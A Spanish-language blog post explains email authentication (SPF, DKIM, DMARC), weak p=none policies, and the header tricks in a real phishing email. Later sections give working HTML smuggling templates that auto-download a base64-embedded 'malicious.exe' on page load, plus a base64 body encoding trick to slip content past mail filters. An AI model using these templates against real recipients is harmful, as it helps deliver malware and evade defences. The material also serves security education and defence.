ES Email Spoofing:DKIM, SPF, DMARC & Fails
1. ¿Basics?
Un día tranquilamente estás trabajando y te encuentras que te amenazaron hace un mes con subir fotos tuyas picantonas por internet. Como pedían poco dinero no podía ser real, así que nada, levantar alerta y ver que ha pasado…. ¿Otra vez DMARC? Pues puede que sí…. Como es más recurrente de lo que debería, vamos a profundizar un poco en DMARC y la suplantación de identidad en correo electrónico.
2. Empecemos por el principio
Vamos a lo básico. Primero de todo ¿Que es DMARC? Tenemos una barbaridad de recursos en internet para aprender que es DMARC, pero para explicarlo de manera muy muy básica es un protocolo de autenticación centrado en evitar la suplantación de correo y que usa como punto de partida DKIM (Domain Keys Identified Mail) y SPF (Sender Policy Framework). Es decir, es un protocolo basado en políticas que debes configurar que parten de tener configurado bien DKIM y SPF y que ayudan a tomar acciones en base a estos otros dos protocolos fundamentalmente. SPF sirve para que yo que tengo el dominio “c0nfig.com” pueda enviar correos bajo “@c0nfig.com” indicando cuales son las IPs que son usadas para remitir esos correos. Es decir si tengo un servidor de correo en 127.0.0.1 y el SPF configurado en mi DNS correctamente todo el mundo sabrá que solo pueden recibir correos de cuentas como “auditor@c0nfig.com” en caso de que provengan de 127.0.0.1. En caso de no ser así puede ser un comportamiento malicioso. Por otro lado tenemos DKIM, ayuda a que el receptor haga la verificación de que yo “auditor@c0nfig.com” envié un correo mediante una firma autorizada por mi parte la cual puede verificar en el DNS. Puedes descargarte cualquier mail personal tuyo en formato .eml y analizarlo para ver el contenido, en mi caso he utilizado un correo de Steam que generé para esto.
Como puedes ver el proveedor de correo, en este caso gmail, de c0nfigrealmail@gmai.com verificó que DKIM y SPF era correcto para este correo y que además la política de DMARC estaba configurada. Es decir, cumpliendo los dos criterios anteriores ese correo pasa la política DMARC y llega a mi bandeja. Puedes verificar además con los miles de analizadores que hay en internet si se cumple o no el filtro DMARC en un dominio. Por ejemplo para steampowered.com aparece correctamente configurado el filtro DMARC.
3. Misconfigs en DMARC
¿Has configurado bien DMARC? Porque claro si haces “p=none”….. Una vez has configurado SPF, DKIM y te has sentado a los basics de DMARC toca ponerlo a funcionar. Existen 3 políticas básicas de DMARC:
• p=none : supervisión o monitorización. Genera reportes pero no bloquea.
• p=quarentine : los correos se envían a la carpeta de SPAM.
• p=reject: Los correos no autentidacos se rechazan y no se entregan.
Espera…. ¿Puedo configurar DMARC y que no haga nada? Correcto. Este es un ejemplo de suplantación real en el que el atcante consigue con un fail en SPF y un pass en DKIM suplantar un servicio SMTP y posteriormente suplantar el remitente del correo. Con eso es capaz de enviarte un correo que a ojos de la victima está enviado desde c0nfig@c0nfigrealdomain.com a c0nfig@c0nfigrealdomain.com con el objetivo de extorsionarte.
Como no existe un filtro DMARC este correo no es bloqueado directamente, por lo que dependerás de controles complementarios tales como la inteligencia de tu proveedor de mail así como de que el atacante haga mal su trabajo para ser detectado por patrones.
1
v=DMARC1; p=none; pct=100; sp=none; rua=c0nfig@c0nfigrealdomain.com,mailto:c0nfig@c0nfigrealdomain.com; ruf=mailto:4cf536a7@inbox.ondmarc.com,mailto:c0nfig@c0nfigrealdomain.com; adkim=r; aspf=r; fo=0:1:d:s; rf=afrf; ri=3600
Existen patrones que usan los proveedores de mail para redirigir esto. Cosas como por ejemplo en este caso incluir una cartera de bitcoin forman parte de los IOCs que se usan, pero también puede ser la concatenación de técnicas o que sea simplemente el primer correo que se envia de esa dirección a este destino. Además del estudio de campañas activas para señalar las IPs de origen de los envios o los links de destino. Puedes utilizar cualquier herramienta en internet por si quieres consultar el estado de tu DMARC rápidamente. Uno vulnerable verás que tiene p=none y una salida similar a esta:
Puedes usar herramientas como Spoofy
para obtenter los resultados de una lista de dominios de manera más sencilla.
4. Phishing Analysis: Copiemos a los malos
Los lunes me gusta meterme en la carpeta de SPAM ya que suelen tocarme miles de euros. Este es solo un ejemplo de los miles de correos que me van a hacer millonario en cualquier momento.
Desde luego “CashApp” me va a hacer rico, pero espera… ¿porqué aparece como que el mail se ha enviado desde mi cuenta? Correcto el “Trusted Sender” es mi propio correo. Y aparece enviado para me@aol.com que no es mi cuenta…. ¿raro no? CashApp suele ser confiable… algo habrá pasado…
Descargamos el .eml a ver que ha podido pasar aquí.
Como podemos ver, aunque el contenido del .eml es más extenso, podemos ver cosas interesantes como la existencia de un SPF bien configurado, es decir yo puedo asegurar que 103.21.89.71 puede enviar correos en nombre de @miks.akenator.com … Teniendo en cuenta que la mayoría de sistemas de detección no te van a pasar no tener SPF configurado, es algo sencillo que te puede facilitar las cosas. Pero existen otras técnicas usadas en este phishing, comentamos algunas.
1
X-Google-Sender-Delegation: c0nfigrealmail@gmail.com Trusted Sender.
Este header lo genera Google y es el cumpable de que aparezca que el correo ha sido enviado por mi mismo y que es confiable. Es una inyección de encabezados que trata de dar cierta entidad al correo.
1
2
3
4
Received: from west.evarmactengiri.com ...
Received: from mta8132.mp2200.com ...
Received: from vmta186.85.lstrk.net ...
Received: from efianalytics.com ...
Uso de hops para tratar de simular la recepción del correo y evitar que el bloqueo del origen suponga la detección del phishing.
1
List-ID: c0nfigrealmail.xt.local
Es un header opcional, pero si usas tu nombre de correo pues puede ayudar si no se tiene mucha idea a colarlo. Además le añade complejidad al análisis como tal.
1
2
Delivered-To: me@gmail.com
To: me@aol.com
El campo “Delivered-To:” se envia al comienzo, peeeeeeeero puedes tratar de confundir a Gmail (y como se demuestra conseguirlo) incluyendo diferentes referencias al envio sumándolo a los hops.
Si te interesa analizar otros phishing para extraer patrones similares puedes usar el repo phishing_pot
que cuenta con miles de ejemplos de los cuales puedes obtener ideas para filtrar y emular patrones.
5. HTLM Smugling
HTML Smuglig es una técnica usada para esconder ficheros en filtros de contenido mediante javascript. Este es un ejemplo de link malicioso real embebido en un phishing:
1
<a href="https://tinyurl.com/MALICIUS_PAYLOAD" target="_blank">
Como hemos dicho antes existen controles por parte de tu proveedor o tu antivirus los cuales tratan los enlaces para poder clasificar el mail y reportarlo. Los atacantes tenemos formas de evitar estos controles, principalmente usando HTML Smugling. Con esto podemos evitar que se analice el enlace para construir la URL en el navegador en la ejecución. Existen multitud de ejemplos como:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var file = "BASE64 FILE HERE";
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: "octet/stream"});
var fileName = "malicious.exe";
var a = document.createElement("a");
document.body.appendChild(a);
a.style = "display: none";
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
o por ejemplo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html>
<head>
<title>Your banck</title>
</head>
<body>
<p>Real no fake money for you</p>
<script>
function convertFromBase64(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='hashashashashahsh=';
var data = convertFromBase64(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'test.txt';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
Cuando visites la página el navegador reconstruirá y descargará el fichero sin que el usuario haya tenido que interactuar ni exponer el link.
Recuerda que el fichero siempre tendrá en su descarga marcada la procedencia del mismo, internet, así como el link. Puedes usar gc para comprobarlo por ti mismo.
1
2
3
4
5
PS C:\Users\c0nfig\Downloads> gc .\c0nfig.txt -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://c0nfigrealdomain.com/mysuggler.html
HostUrl=http://c0nfigrealromain.com/
6. Content en Base64
Muchas veces pueden existir controles en el correo para el envio de determinado tipo de caracteres o patrones. Quizás Outloock detecta cadenas de caracteres del tamaño de una dirección de cartera de Bitcoin como malicioso, DNIs o información que se está exfiltrando, contraseñas…. Una manera de evadir algunos de los controles es utilizar Base64. Para ello podemos usar el siguiente contenido.
1
2
3
4
5
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
QnVlbm9zIGTtYXMhCgpFc3RlIGVzIG1pIG51ZXZvIG76bWVybyBkZSBjdWVudGEgMTIzNDU2Nzg5MDExMTIKUmVjdWVyZGEgcmVhbGl6YXIgbGEgdHJhbnNmZXJlbmNpYSBkZSA1MDAuMDAwIEV1cm9zIHlhLgo=
Esto nos permitirá del lado del que lee el correo mostrar un texto evadiendo algunos controles.
Apoya el contenido de ciberseguridad en castellano
Si esta publicación te ha sido útil y quieres apoyar mi trabajo para que continúe creando más contenido, aquí te dejo algunas formas de apoyar:
Compartir el contenido 📲 Si crees que esta guía puede ser útil para otras personas, compartirla en tus redes sociales es una gran ayuda.
Donar en Ko-fi 💖 Puedes hacer una donación rápida a través de Ko-fi para ayudarme a seguir publicando guías y tutoriales. ¡Cada aportación cuenta y es muy apreciada!